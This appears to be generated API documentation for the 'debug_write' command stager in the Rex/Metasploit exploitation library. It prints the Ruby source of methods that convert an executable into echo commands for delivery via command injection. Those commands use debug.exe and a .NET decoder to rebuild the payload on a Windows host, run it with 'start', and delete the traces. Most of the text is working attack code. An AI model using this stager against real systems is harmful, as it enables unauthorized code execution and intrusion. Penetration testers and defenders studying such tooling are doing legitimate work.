CmdStagerBase
This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.
This particular version uses debug.exe to write a small .NET binary. That binary will take a hex-ascii file, created via echo >>, and decode it to the final binary.
Requires: .NET, debug.exe
Windows uses & to concat strings
# File lib/rex/exploitation/cmdstager/debug_write.rb, line 130 def cmd_concat_operator " & " end
We override compress commands just to stick in a few extra commands last second..
# File lib/rex/exploitation/cmdstager/debug_write.rb, line 101 def compress_commands(cmds, opts) # Convert the debug script to an executable... cvt_cmd = '' if (@tempdir != '') cvt_cmd << "cd %TEMP% && " end cvt_cmd << "debug < #{@tempdir}#{@var_bypass}" cmds << cvt_cmd # Rename the resulting binary cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe" # Converting the encoded payload... cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}" # Make it all happen cmds << "start #{@tempdir}#{@var_payload}.exe" # Clean up after unless requested not to.. if (not opts[:nodelete]) cmds << "del #{@tempdir}#{@var_bypass}.exe" cmds << "del #{@tempdir}#{@var_payload}" # XXX: We won't be able to delete the payload while it is running.. end super end
Simple hex encoding...
# File lib/rex/exploitation/cmdstager/debug_write.rb, line 52 def encode_payload(opts) @exe.unpack('H*')[0] end
Override just to set the extra byte count
# File lib/rex/exploitation/cmdstager/debug_write.rb, line 39 def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo " @cmd_end = ">>#{@tempdir}#{@var_payload}" xtra_len = @cmd_start.length + @cmd_end.length + 1 opts.merge!({ :extra => xtra_len }) super end
Generate the commands that will decode the file we just created
# File lib/rex/exploitation/cmdstager/debug_write.rb, line 79 def generate_cmds_decoder(opts) # Allow decoder stub override (needs to input base64 and output bin) @decoder = opts[:decoder] if (opts[:decoder]) # Read the decoder data file f = File.new(@decoder, "rb") decoder = f.read(f.stat.size) f.close # Replace variables decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}") # Split it apart by the lines decoder.split("\n") end
Combine the parts of the encoded file with the stuff that goes before / after it.
# File lib/rex/exploitation/cmdstager/debug_write.rb, line 61 def parts_to_commands(parts, opts) cmds = [] parts.each do |p| cmd = '' cmd << @cmd_start cmd << p cmd << @cmd_end cmds << cmd end cmds end
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